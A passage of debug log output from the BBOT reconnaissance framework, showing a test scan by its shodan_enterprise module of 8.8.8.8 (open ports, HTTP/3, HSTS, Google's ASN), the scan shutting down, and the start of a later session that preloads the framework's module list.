'8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) passed post-check -2026-02-27 21:48:21,611 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) -2026-02-27 21:48:21,612 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-02-27 21:48:21,612 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 21:48:21,613 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-02-27 21:48:21,613 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 21:48:21,614 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) -2026-02-27 21:48:21,614 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 21:48:21,614 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 21:48:21,615 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) passed post-check -2026-02-27 21:48:21,615 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) -2026-02-27 21:48:21,616 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 21:48:21,616 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 21:48:21,617 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 21:48:21,620 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 21:48:21,620 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-02-27 21:48:21,620 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 21:48:21,621 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-02-27 21:48:21,621 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) -2026-02-27 21:48:21,622 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) because precheck succeeded -2026-02-27 21:48:21,622 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 21:48:21,622 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 21:48:21,623 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 21:48:21,623 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 21:48:21,623 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 21:48:21,624 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 21:48:21,624 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 21:48:21,625 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-02-27 21:48:21,625 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 21:48:21,626 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-02-27 21:48:21,626 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-02-27 21:48:21,626 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 21:48:21,627 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 21:48:21,627 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) passed post-check -2026-02-27 21:48:21,628 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) -2026-02-27 21:48:21,628 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 21:48:21,628 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 21:48:21,629 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 21:48:21,629 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) in-scope because its main host matches the scan target -2026-02-27 21:48:21,630 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 21:48:21,630 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded -2026-02-27 21:48:21,631 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 21:48:21,631 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 21:48:21,631 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) -2026-02-27 21:48:21,632 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 21:48:21,632 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) passed post-check -2026-02-27 21:48:21,632 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) -2026-02-27 21:48:21,633 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 21:48:21,633 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-02-27 21:48:21,634 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 21:48:21,634 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 21:48:21,635 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) -2026-02-27 21:48:21,635 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 21:48:21,636 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-02-27 21:48:21,636 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) passed post-check -2026-02-27 21:48:21,636 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) -2026-02-27 21:48:21,637 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) -2026-02-27 21:48:21,637 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) because precheck succeeded -2026-02-27 21:48:21,709 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) from shodan_enterprise -2026-02-27 21:48:21,709 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) passed post-check -2026-02-27 21:48:21,709 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-02-27 21:48:21,709 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 21:48:21,710 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise -2026-02-27 21:48:21,710 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-02-27 21:48:21,710 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-02-27 21:48:21,710 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 21:48:21,710 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-02-27 21:48:21,711 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 21:48:21,711 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) from shodan_enterprise -2026-02-27 21:48:21,711 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) passed post-check -2026-02-27 21:48:21,711 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-02-27 21:48:21,712 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED -2026-02-27 21:48:21,712 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-02-27 21:48:21,712 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-02-27 21:48:21,713 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() -2026-02-27 21:48:21,713 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-02-27 21:48:21,714 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None -2026-02-27 21:48:21,714 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-02-27 21:48:21,814 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-02-27 21:48:21,814 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() -2026-02-27 21:48:21,831 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-02-27 21:48:21,832 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-02-27 21:48:21,832 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-02-27 21:48:21,839 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-02-27 21:48:21,840 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... -2026-02-27 21:48:21,841 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-02-27 21:48:21,841 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal -2026-02-27 21:48:21,842 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-02-27 21:48:21,843 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-02-27 21:48:21,986 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_2j3y4i2tg8 completed in 0 seconds with status FINISHED -2026-02-27 21:48:21,986 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-02-27 21:48:21,987 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 21:48:21,989 [CRITICAL] bbot test_module_shodan_enterprise.py:23 SCAN("{'id': 'SCAN:b622272765a5c34a0f803a1b58bb5135c35def5e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:04:22,071 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-02-27 22:04:22,086 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-02-27 22:04:22,090 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-02-27 22:04:22,091 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-02-27 22:04:22,092 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-02-27 22:04:22,094 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-02-27 22:04:22,095 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-02-27 22:04:22,096 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-02-27 22:04:22,097 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-02-27 22:04:22,099 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-02-27 22:04:22,100 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-02-27 22:04:22,101 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-02-27 22:04:22,103 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-02-27 22:04:22,104 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-02-27 22:04:22,106 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-02-27 22:04:22,107 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-02-27 22:04:22,108 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-02-27 22:04:22,109 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-02-27 22:04:22,110 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-02-27 22:04:22,111 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-02-27 22:04:22,112 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-02-27 22:04:22,114 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-02-27 22:04:22,115 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-02-27 22:04:22,117 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-02-27 22:04:22,118 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-02-27 22:04:22,120 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-02-27 22:04:22,122 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-02-27 22:04:22,123 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-02-27 22:04:22,124 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-02-27 22:04:22,126 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-02-27 22:04:22,128 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-02-27 22:04:22,130 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-02-27 22:04:22,130 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-02-27 22:04:22,132 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-02-27 22:04:22,132 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-02-27 22:04:22,133 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-02-27 22:04:22,134 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-02-27 22:04:22,135 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-02-27 22:04:22,137 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-02-27 22:04:22,143 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-02-27 22:04:22,145 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-02-27 22:04:22,146 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-02-27 22:04:22,147 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-02-27 22:04:22,149 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-02-27 22:04:22,150 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-02-27 22:04:22,151 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-02-27 22:04:22,153 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-02-27 22:04:22,154 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-02-27 22:04:22,156 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-02-27 22:04:22,157 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-02-27 22:04:22,159 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-02-27 22:04:22,160 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-02-27 22:04:22,161 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-02-27 22:04:22,163 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-02-27 22:04:22,164 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-02-27 22:04:22,165 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-02-27 22:04:22,166 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-02-27 22:04:22,167 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-02-27 22:04:22,169 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-02-27 22:04:22,170 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-02-27 22:04:22,171 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-02-27 22:04:22,174 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-02-27 22:04:22,175 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-02-27 22:04:22,176 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-02-27 22:04:22,177 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-02-27 22:04:22,186 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-02-27 22:04:22,188 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-02-27 22:04:22,189 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-02-27 22:04:22,191 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-02-27 22:04:22,192 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-02-27 22:04:22,194 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-02-27 22:04:22,195 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-02-27 22:04:22,197 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-02-27 22:04:22,198 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-02-27 22:04:22,199 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-02-27 22:04:22,201 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-02-27 22:04:22,202 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-02-27 22:04:22,204 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-02-27 22:04:22,205 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-02-27 22:04:22,206 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-02-27 22:04:22,207 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-02-27 22:04:22,208 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-02-27 22:04:22,208 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-02-27 22:04:22,209 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-02-27 22:04:22,211 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-02-27 22:04:22,212 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-02-27 22:04:22,213 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-02-27 22:04:22,215 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-02-27 22:04:22,216 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-02-27 22:04:22,218 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-02-27 22:04:22,219 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-02-27 22:04:22,220 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-02-27 22:04:22,223 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-02-27 22:04:22,224 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-02-27 22:04:22,225 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-02-27 22:04:22,226 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-02-27 22:04:22,227 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-02-27 22:04:22,228 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-02-27 22:04:22,229 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-02-27 22:04:22,230 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-02-27 22:04:22,232 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-02-27 22:04:22,233 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-02-27 22:04:22,234 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-02-27 22:04:22,235 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-02-27 22:04:22,236 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-02-27 22:04:22,238 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-02-27 22:04:22,239 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-02-27 22:04:22,240 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-02-27 22:04:22,241 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-02-27 22:04:22,242 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-02-27 22:04:22,243 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-02-27 22:04:22,244 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-02-27 22:04:22,245 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-02-27 22:04:22,247 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-02-27 22:04:22,248 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-02-27 22:04:22,249 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-02-27 22:04:22,250 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-02-27 22:04:22,251 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-02-27 22:04:22,253 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-02-27 22:04:22,255 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-02-27 22:04:22,256 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-02-27 22:04:22,257 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-02-27 22:04:22,258 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-02-27 22:04:22,259 